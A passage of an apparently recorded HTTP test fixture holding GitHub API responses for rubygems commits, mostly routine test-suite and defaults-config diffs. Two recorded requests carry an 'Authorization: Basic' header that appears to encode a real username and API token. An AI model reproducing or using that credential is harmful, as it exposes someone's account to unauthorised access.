gem_name"},{"sha":"a4540b954a6d3048dcab663b5bc65311f798cc97","filename":"test/rubygems/test_gem_commands_install_command.rb","status":"modified","additions":22,"deletions":23,"changes":45,"blob_url":"https://github.com/rubygems/rubygems/blob/b19fb57716fc8d4e19f10ba9e514ba55d713a04c/test/rubygems/test_gem_commands_install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b19fb57716fc8d4e19f10ba9e514ba55d713a04c/test/rubygems/test_gem_commands_install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_install_command.rb?ref=b19fb57716fc8d4e19f10ba9e514ba55d713a04c","patch":"@@ -200,6 +200,28 @@ def test_execute_nonexistent\n assert_match(/ould not find a valid gem ''nonexistent''/, @ui.error)\n end\n \n+ def test_execute_dependency_nonexistent\n+ spec_fetcher do |fetcher|\n+ fetcher.spec ''foo'', 2, ''bar'' => ''0.5''\n+ end\n+\n+ @cmd.options[:args] = [''foo'']\n+\n+ use_ui @ui do\n+ e = assert_raises Gem::MockGemUi::TermError do\n+ @cmd.execute\n+ end\n+\n+ assert_equal 2, e.exit_code\n+ end\n+\n+ expected = <<-EXPECTED\n+ERROR: Could not find a valid gem ''bar'' (= 0.5) (required by ''foo'' (>= 0)) in any repository\n+ EXPECTED\n+\n+ assert_equal expected, @ui.error\n+ end\n+\n def test_execute_bad_source\n spec_fetcher\n \n@@ -691,29 +713,6 @@ def test_parses_requirement_from_gemname\n assert_match %r!Could not find a valid gem ''a'' \\(= 10.0\\)!, @ui.error\n end\n \n- def test_show_dependent_gem\n- spec_fetcher do |fetcher|\n- fetcher.spec ''foo'', 2, ''bar'' => ''0.5''\n- end\n-\n- @cmd.options[:args] = [''foo'']\n- @cmd.options[:suggest_alternate] = false\n-\n- use_ui @ui do\n- e = assert_raises Gem::MockGemUi::TermError do\n- @cmd.execute\n- end\n-\n- assert_equal 2, e.exit_code\n- end\n-\n- expected = <<-EXPECTED\n-ERROR: Could not find a valid gem ''bar'' (= 0.5) (required by ''foo'' (>= 0)) in any repository\n- EXPECTED\n-\n- assert_equal expected, @ui.error\n- end\n-\n def test_show_errors_on_failure\n Gem.sources.replace [\"http://not-there.nothing\"]\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:44 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f1eb3b83610c2d21e4dbdb347ca37af6d2614289 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4560' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"55605fa760a5fc484b29aeec12fe4cf5" Last-Modified: - Wed, 20 Dec 2017 00:13:28 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048885' X-Github-Request-Id: - C49E:4D97:903589:1C46F45:5A50E460 body: encoding: ASCII-8BIT string: '{"sha":"f1eb3b83610c2d21e4dbdb347ca37af6d2614289","commit":{"author":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-20T00:13:28Z"},"committer":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-20T00:13:28Z"},"message":"Update for compatibilty with new minitest","tree":{"sha":"8f0acf4308c66194aafda22974ee96855711212e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8f0acf4308c66194aafda22974ee96855711212e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f1eb3b83610c2d21e4dbdb347ca37af6d2614289","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f1eb3b83610c2d21e4dbdb347ca37af6d2614289","html_url":"https://github.com/rubygems/rubygems/commit/f1eb3b83610c2d21e4dbdb347ca37af6d2614289","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a18b82f839da145fea255799c7f5caec5d3fbf5","url":"https://api.github.com/repos/rubygems/rubygems/commits/9a18b82f839da145fea255799c7f5caec5d3fbf5","html_url":"https://github.com/rubygems/rubygems/commit/9a18b82f839da145fea255799c7f5caec5d3fbf5"}],"stats":{"total":58,"additions":28,"deletions":30},"files":[{"sha":"367b269feaaf75a9399827b6c1e98076ef95b60a","filename":"lib/rubygems/test_case.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -84,7 +84,7 @@ module DefaultUserInteraction\n #\n # Tests are always run at a safe level of 1.\n \n-class Gem::TestCase < MiniTest::Unit::TestCase\n+class Gem::TestCase < (defined?(Minitest::Test) ? Minitest::Test : MiniTest::Unit::TestCase)\n \n attr_accessor :fetcher # :nodoc:\n "},{"sha":"d23c6b8ff904c419c5ccdd03e231505a02196ae5","filename":"test/rubygems/test_gem.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -1587,7 +1587,7 @@ def test_register_default_spec\n \n assert_equal old_style, Gem.find_unresolved_default_spec(\"foo.rb\")\n assert_equal old_style, Gem.find_unresolved_default_spec(\"bar.rb\")\n- assert_equal nil, Gem.find_unresolved_default_spec(\"baz.rb\")\n+ assert_nil Gem.find_unresolved_default_spec(\"baz.rb\")\n \n Gem.clear_default_specs\n \n@@ -1600,8 +1600,8 @@ def test_register_default_spec\n \n assert_equal new_style, Gem.find_unresolved_default_spec(\"foo.rb\")\n assert_equal new_style, Gem.find_unresolved_default_spec(\"bar.rb\")\n- assert_equal nil, Gem.find_unresolved_default_spec(\"exec\")\n- assert_equal nil, Gem.find_unresolved_default_spec(\"README\")\n+ assert_nil Gem.find_unresolved_default_spec(\"exec\")\n+ assert_nil Gem.find_unresolved_default_spec(\"README\")\n end\n \n def test_default_gems_use_full_paths"},{"sha":"c3aa01503a3605ae1933ac5aaa47b972c361abd7","filename":"test/rubygems/test_gem_command_manager.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_command_manager.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_command_manager.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_command_manager.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -114,8 +114,8 @@ def test_process_args_install\n assert_equal :both, check_options[:domain]\n assert_equal true, check_options[:wrappers]\n assert_equal Gem::Requirement.default, check_options[:version]\n- assert_equal nil, check_options[:install_dir]\n- assert_equal nil, check_options[:bin_dir]\n+ assert_nil check_options[:install_dir]\n+ assert_nil check_options[:bin_dir]\n \n #check settings\n check_options = nil"},{"sha":"8acbd491b4486c4de2654912815c2d36e65373f6","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":5,"deletions":3,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -6,6 +6,8 @@\n \n class TestGemCommandsSetupCommand < Gem::TestCase\n \n+ BUNDLER_VERS = `gem list -e bundler`[/([^() ]+)\\)\\Z/, 1] || \"1.16.0\"\n+\n def setup\n super\n \n@@ -32,7 +34,7 @@ def setup\n \n gemspec = Gem::Specification.new\n gemspec.name = \"bundler\"\n- gemspec.version = \"1.16.0\"\n+ gemspec.version = BUNDLER_VERS\n gemspec.bindir = \"exe\"\n gemspec.executables = [\"bundle\"]\n \n@@ -136,8 +138,8 @@ def test_install_default_bundler_gem\n refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")\n refute_path_exists ''default/gems/bundler-1.15.4''\n \n- assert_path_exists File.join(default_dir, \"bundler-1.16.0.gemspec\")\n- assert_path_exists ''default/gems/bundler-1.16.0''\n+ assert_path_exists File.join(default_dir, \"bundler-#{BUNDLER_VERS}.gemspec\")\n+ assert_path_exists \"default/gems/bundler-#{BUNDLER_VERS}\"\n \n assert_path_exists File.join(Gem.default_dir, \"specifications\", \"bundler-audit-1.0.0.gemspec\")\n assert_path_exists ''default/gems/bundler-audit-1.0.0''"},{"sha":"2cf86edd0980d99f1668683f0c6802a8205a1a07","filename":"test/rubygems/test_gem_commands_signin_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_commands_signin_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_commands_signin_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_signin_command.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -48,7 +48,7 @@ def test_execute_when_already_signed_in_with_different_host\n \n assert_equal credentials[:rubygems_api_key], api_key\n \n- assert_equal credentials[host], nil\n+ assert_nil credentials[host]\n end\n \n def test_execute_with_host_supplied"},{"sha":"88921d34f8a6913cf04c66cc2f93c03718e7e724","filename":"test/rubygems/test_gem_commands_uninstall_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_commands_uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_commands_uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_uninstall_command.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -238,7 +238,7 @@ def test_handle_options\n @cmd.handle_options %w[]\n \n assert_equal false, @cmd.options[:check_dev]\n- assert_equal nil, @cmd.options[:install_dir]\n+ assert_nil @cmd.options[:install_dir]\n assert_equal true, @cmd.options[:user_install]\n assert_equal Gem::Requirement.default, @cmd.options[:version]\n assert_equal false, @cmd.options[:vendor]"},{"sha":"2fc61f9bd6b19632375b6d3eb9528c39beed3456","filename":"test/rubygems/test_gem_ext_rake_builder.rb","status":"modified","additions":0,"deletions":4,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_ext_rake_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_ext_rake_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_ext_rake_builder.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -16,11 +16,9 @@ def setup\n def test_class_build\n create_temp_mkrf_file(''task :default'')\n output = []\n- realdir = nil # HACK /tmp vs. /private/tmp\n \n build_rake_in do |rake|\n Dir.chdir @ext do\n- realdir = Dir.pwd\n Gem::Ext::RakeBuilder.build ''mkrf_conf.rb'', nil, @dest_path, output\n end\n \n@@ -38,11 +36,9 @@ def test_class_build\n def test_class_build_with_args\n create_temp_mkrf_file(''task :default'')\n output = []\n- realdir = nil # HACK /tmp vs. /private/tmp\n \n build_rake_in do |rake|\n Dir.chdir @ext do\n- realdir = Dir.pwd\n non_empty_args_list = ['''']\n Gem::Ext::RakeBuilder.build ''mkrf_conf.rb'', nil, @dest_path, output, non_empty_args_list\n end"},{"sha":"0b240da724cea4202e0715d2ef06be19d8230fcd","filename":"test/rubygems/test_gem_installer.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_installer.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -21,7 +21,7 @@ def setup\n super\n common_installer_setup\n \n- if __name__ =~ /^test_install(_|$)/ then\n+ if (self.class.method_defined?(:__name__) ? __name__ : name) =~ /\\Atest_install(_|\\Z)/\n FileUtils.rm_r @spec.gem_dir\n FileUtils.rm_r @user_spec.gem_dir\n end\n@@ -34,7 +34,7 @@ def teardown\n \n super\n \n- Gem.configuration = @config\n+ Gem.configuration = instance_variable_defined?(:@config) ? @config : nil\n end\n \n def test_app_script_text\n@@ -659,7 +659,7 @@ def test_generate_bin_symlink_win32\n assert_path_exists installed_exec\n \n if symlink_supported?\n- assert_send([File, :symlink?, installed_exec])\n+ assert File.symlink?(installed_exec)\n return\n end\n "},{"sha":"fbd240a84ffefb385453f90650dc205aed178cba","filename":"test/rubygems/test_gem_resolver_installer_set.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_resolver_installer_set.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_resolver_installer_set.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_resolver_installer_set.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -197,7 +197,7 @@ def (set.remote_set).prefetch(_)\n def (set.remote_set).prefetch(_)\n raise \"called\"\n end\n- assert_equal nil, set.prefetch(nil)\n+ assert_nil set.prefetch(nil)\n end\n \n def test_prerelease_equals"},{"sha":"1c559c345bd1e139b0cbd68799c2e4b74c3c82cc","filename":"test/rubygems/test_gem_specification.rb","status":"modified","additions":9,"deletions":9,"changes":18,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_specification.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -1132,7 +1132,7 @@ def test_handles_private_null_type\n \n data = Marshal.load Gem.inflate(Gem.read_binary(path))\n \n- assert_equal nil, data.rubyforge_project\n+ assert_nil data.rubyforge_project\n end\n \n def test_emits_zulu_timestamps_properly\n@@ -1153,7 +1153,7 @@ def test_initialize\n assert_equal \"blah\", spec.name\n assert_equal \"1.3.5\", spec.version.to_s\n assert_equal Gem::Platform::RUBY, spec.platform\n- assert_equal nil, spec.summary\n+ assert_nil spec.summary\n assert_equal [], spec.files\n \n assert_equal [], spec.test_files\n@@ -1330,31 +1330,31 @@ def test_bindir_equals_nil\n @a2.bindir = nil\n @a2.executable = ''app''\n \n- assert_equal nil, @a2.bindir\n+ assert_nil @a2.bindir\n assert_equal %w[app lib/code.rb].sort, @a2.files\n end\n \n def test_extensions_equals_nil\n @a2.instance_variable_set(:@extensions, nil)\n- assert_equal nil, @a2.instance_variable_get(:@extensions)\n+ assert_nil @a2.instance_variable_get(:@extensions)\n assert_equal %w[lib/code.rb], @a2.files\n end\n \n def test_test_files_equals_nil\n @a2.instance_variable_set(:@test_files, nil)\n- assert_equal nil, @a2.instance_variable_get(:@test_files)\n+ assert_nil @a2.instance_variable_get(:@test_files)\n assert_equal %w[lib/code.rb], @a2.files\n end\n \n def test_executables_equals_nil\n @a2.instance_variable_set(:@executables, nil)\n- assert_equal nil, @a2.instance_variable_get(:@executables)\n+ assert_nil @a2.instance_variable_get(:@executables)\n assert_equal %w[lib/code.rb], @a2.files\n end\n \n def test_extra_rdoc_files_equals_nil\n @a2.instance_variable_set(:@extra_rdoc_files, nil)\n- assert_equal nil, @a2.instance_variable_get(:@extra_rdoc_files)\n+ assert_nil @a2.instance_variable_get(:@extra_rdoc_files)\n assert_equal %w[lib/code.rb], @a2.files\n end\n \n@@ -2206,7 +2206,7 @@ def test_requirements\n end\n \n def test_allowed_push_host\n- assert_equal nil, @a1.metadata[''allowed_push_host'']\n+ assert_nil @a1.metadata[''allowed_push_host'']\n assert_equal ''https://privategemserver.com'', @a3.metadata[''allowed_push_host'']\n end\n \n@@ -3534,7 +3534,7 @@ def test_find_inactive_by_path\n \n assert_equal a, Gem::Specification.find_inactive_by_path(''foo'')\n a.activate\n- assert_equal nil, Gem::Specification.find_inactive_by_path(''foo'')\n+ assert_nil Gem::Specification.find_inactive_by_path(''foo'')\n end\n \n def test_load_default_gem"},{"sha":"7b518876fe8f5a8512acbfef1309d9661fc82f45","filename":"test/rubygems/test_gem_stream_ui.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_stream_ui.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f1eb3b83610c2d21e4dbdb347ca37af6d2614289/test/rubygems/test_gem_stream_ui.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_stream_ui.rb?ref=f1eb3b83610c2d21e4dbdb347ca37af6d2614289","patch":"@@ -55,7 +55,7 @@ def test_ask_no_tty\n \n Timeout.timeout(0.1) do\n answer = @sui.ask(\"what is your favorite color?\")\n- assert_equal nil, answer\n+ assert_nil answer\n end\n end\n \n@@ -79,7 +79,7 @@ def test_ask_for_password_no_tty\n \n Timeout.timeout(0.1) do\n answer = @sui.ask_for_password(\"what is the airspeed velocity of an unladen swallow?\")\n- assert_equal nil, answer\n+ assert_nil answer\n end\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:44 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/9a18b82f839da145fea255799c7f5caec5d3fbf5 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4559' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6bca642cfdb46cbbfb79af6dd53a299f" Last-Modified: - Tue, 19 Dec 2017 20:37:31 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.047464' X-Github-Request-Id: - C4A0:4D95:F47B22:1C83162:5A50E461 body: encoding: ASCII-8BIT string: '{"sha":"9a18b82f839da145fea255799c7f5caec5d3fbf5","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-19T20:37:31Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-19T20:37:31Z"},"message":"Auto merge of #2116 - voxik:operating_system_defaults, r=colby-swandale\n\nAdd Gem.operating_system_defaults to allow packagers to override defaults.\n\n# Description:\n\nThis change allows Ruby packagers to override defaults and lazily query\nthem.\n\nThis is very much the same change as #1644 to treat the\noperating_system defaults the same way as platform defaults.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"686f5a1ac1eb67d1e1612bf800878b246a1c5409","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/686f5a1ac1eb67d1e1612bf800878b246a1c5409"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9a18b82f839da145fea255799c7f5caec5d3fbf5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9a18b82f839da145fea255799c7f5caec5d3fbf5","html_url":"https://github.com/rubygems/rubygems/commit/9a18b82f839da145fea255799c7f5caec5d3fbf5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9a18b82f839da145fea255799c7f5caec5d3fbf5/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"44c3824c0d84fb38941cd491c28c5328e9b5a00e","url":"https://api.github.com/repos/rubygems/rubygems/commits/44c3824c0d84fb38941cd491c28c5328e9b5a00e","html_url":"https://github.com/rubygems/rubygems/commit/44c3824c0d84fb38941cd491c28c5328e9b5a00e"},{"sha":"60eb961c25f801ee43ca1be9393ab2f0a0546677","url":"https://api.github.com/repos/rubygems/rubygems/commits/60eb961c25f801ee43ca1be9393ab2f0a0546677","html_url":"https://github.com/rubygems/rubygems/commit/60eb961c25f801ee43ca1be9393ab2f0a0546677"}],"stats":{"total":30,"additions":28,"deletions":2},"files":[{"sha":"deee38e6d9fd9c482c347387b0aca55b195996b7","filename":"lib/rubygems/config_file.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/9a18b82f839da145fea255799c7f5caec5d3fbf5/lib/rubygems/config_file.rb","raw_url":"https://github.com/rubygems/rubygems/raw/9a18b82f839da145fea255799c7f5caec5d3fbf5/lib/rubygems/config_file.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/config_file.rb?ref=9a18b82f839da145fea255799c7f5caec5d3fbf5","patch":"@@ -48,7 +48,7 @@ class Gem::ConfigFile\n # For Ruby packagers to set configuration defaults. Set in\n # rubygems/defaults/operating_system.rb\n \n- OPERATING_SYSTEM_DEFAULTS = {}\n+ OPERATING_SYSTEM_DEFAULTS = Gem.operating_system_defaults\n \n ##\n # For Ruby implementers to set configuration defaults. Set in"},{"sha":"b8222877ae33600c643766aed9b0a901c4660cde","filename":"lib/rubygems/defaults.rb","status":"modified","additions":20,"deletions":1,"changes":21,"blob_url":"https://github.com/rubygems/rubygems/blob/9a18b82f839da145fea255799c7f5caec5d3fbf5/lib/rubygems/defaults.rb","raw_url":"https://github.com/rubygems/rubygems/raw/9a18b82f839da145fea255799c7f5caec5d3fbf5/lib/rubygems/defaults.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/defaults.rb?ref=9a18b82f839da145fea255799c7f5caec5d3fbf5","patch":"@@ -176,7 +176,26 @@ def self.vendor_dir # :nodoc:\n end\n \n ##\n- # Default options for gem commands.\n+ # Default options for gem commands for Ruby packagers.\n+ #\n+ # The options here should be structured as an array of string \"gem\"\n+ # command names as keys and a string of the default options as values.\n+ #\n+ # Example:\n+ #\n+ # def self.operating_system_defaults\n+ # {\n+ # ''install'' => ''--no-rdoc --no-ri --env-shebang'',\n+ # ''update'' => ''--no-rdoc --no-ri --env-shebang''\n+ # }\n+ # end\n+\n+ def self.operating_system_defaults\n+ {}\n+ end\n+\n+ ##\n+ # Default options for gem commands for Ruby implementers.\n #\n # The options here should be structured as an array of string \"gem\"\n # command names as keys and a string of the default options as 